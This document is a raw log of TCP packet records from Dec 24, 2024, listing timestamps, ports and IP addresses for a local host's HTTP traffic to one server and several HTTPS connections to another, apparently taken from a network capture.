Dec 24, 2024 22:27:00.524570942 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.525407076 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.525454044 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.525949001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.526005983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.526341915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.526401997 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.527291059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.527302027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.527349949 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.527421951 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.527450085 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.527462959 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.528207064 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.528259993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.528925896 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.528979063 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.529159069 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.529175043 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.529208899 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.529223919 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.530124903 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.530134916 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.530200005 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.530213118 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.531018019 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.531074047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.531563997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.531620026 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.531989098 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.532001972 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.532035112 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.532057047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.532891989 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.532937050 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.533715010 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.533763885 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.533849955 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.533888102 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.533922911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.533961058 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.534805059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.534848928 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.535172939 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.535217047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.535707951 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.535751104 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.536254883 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.536300898 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.536658049 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.536701918 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.537070036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.537116051 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.537589073 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.537652016 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.537815094 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.537858963 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.538523912 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.538568974 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.538806915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.538858891 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.539453030 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.539504051 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.539530039 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.539571047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.540388107 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.540436983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.540494919 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.540540934 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.541327953 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.541378021 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.541408062 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.541456938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.542318106 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.542362928 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.542800903 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.542845011 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.543260098 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.543271065 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.543307066 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.543327093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.544136047 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.544184923 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.544260979 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.544310093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.545066118 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.545114994 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.545241117 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.545288086 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.546006918 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.546066999 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.546267986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.546319962 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.546943903 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.546997070 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.547908068 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.547918081 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.547960997 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.548038960 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.548085928 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.548825026 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.548873901 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.549603939 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.549657106 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.549781084 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.549792051 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.549829960 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.550676107 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.550726891 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.551668882 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.551677942 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.551723003 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.551767111 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.551814079 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.552567959 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.552620888 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.553253889 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.553306103 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.553517103 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.553563118 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.553833961 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.553883076 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.554460049 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.554508924 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.554713011 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.554760933 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.555433035 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.555443048 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.555478096 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.555490017 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.556370020 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.556427002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.557123899 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.557172060 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.613142967 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.613210917 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.613348007 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.613403082 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.613424063 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.613466024 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.613610029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.613656998 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.614336967 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.614383936 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.614501953 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.614550114 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.615333080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.615345001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.615386963 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.703398943 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.703485966 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.703528881 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.703711987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.703723907 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.703737974 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.703768969 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.703797102 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.704643965 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.704703093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.705631971 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.705643892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.705689907 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.705756903 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.705810070 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.706481934 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.706535101 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.706697941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.706747055 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.707418919 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.707473993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.707568884 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.707618952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.708405018 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.708466053 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.708683014 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.708733082 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.709378004 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.709431887 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.709518909 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.709568977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.710333109 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.710386038 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.711046934 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.711097956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.711230993 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.711242914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.711286068 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.712127924 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.712178946 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.712716103 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.712769032 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.713080883 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.713129997 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.713361979 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.713413954 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.714014053 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.714063883 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.714198112 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.714242935 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.714931965 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.714983940 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.715013981 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.715055943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.715892076 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.715945005 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.716149092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.716198921 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.716893911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.716941118 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.717108965 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.717158079 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.717773914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.717787027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.717832088 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.718667984 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.718717098 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.718774080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.718822956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.719604015 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.719655037 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.720174074 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.720225096 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.720527887 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.720577955 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.720966101 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.721014977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.721514940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.721527100 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.721575022 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:02.920514107 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.920548916 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.920600891 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.920835018 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.920921087 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.920958042 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.920973063 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.920996904 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921047926 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921103954 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921143055 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.921192884 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921333075 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921345949 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.921463013 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921477079 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.921593904 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921606064 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:02.921766996 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:02.921804905 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.106827021 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:04.107965946 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:04.625035048 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.625263929 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.625322104 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.626748085 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.626846075 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.628556967 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.628644943 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.628712893 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.633500099 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.633596897 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.633675098 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.633677959 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.633709908 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.633776903 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.633800030 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.633888006 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.633897066 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.635123968 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.635196924 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.635457039 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.635518074 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.635531902 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.635602951 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.663378000 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.663527966 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.663538933 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.663808107 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.663959980 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.664048910 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.664282084 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.664400101 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.664506912 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.664717913 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.675354004 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.681910992 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.681937933 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.713145971 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.713157892 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.713162899 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.713170052 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.713285923 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.713315010 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.728769064 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.760025024 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.760041952 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.760046005 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.915462017 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:04.915544033 CET	443	49735	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:04.915595055 CET	49735	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.519285917 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.519676924 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.519757986 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.520479918 CET	49737	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.520497084 CET	443	49737	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.526401997 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.526550055 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.526626110 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.526670933 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.530446053 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.530530930 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.530546904 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.530757904 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.530819893 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.530960083 CET	49736	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.530982971 CET	443	49736	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.541176081 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.541328907 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.541388988 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.541400909 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.541497946 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.541575909 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.541584969 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.554361105 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.554424047 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.554433107 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.562196016 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.562350035 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.562357903 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.572602034 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.572655916 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.572664022 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.635199070 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.660619974 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.713340998 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.713350058 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.732902050 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.732949972 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.732959032 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.742324114 CET	443	49734	142.250.181.68	192.168.2.4
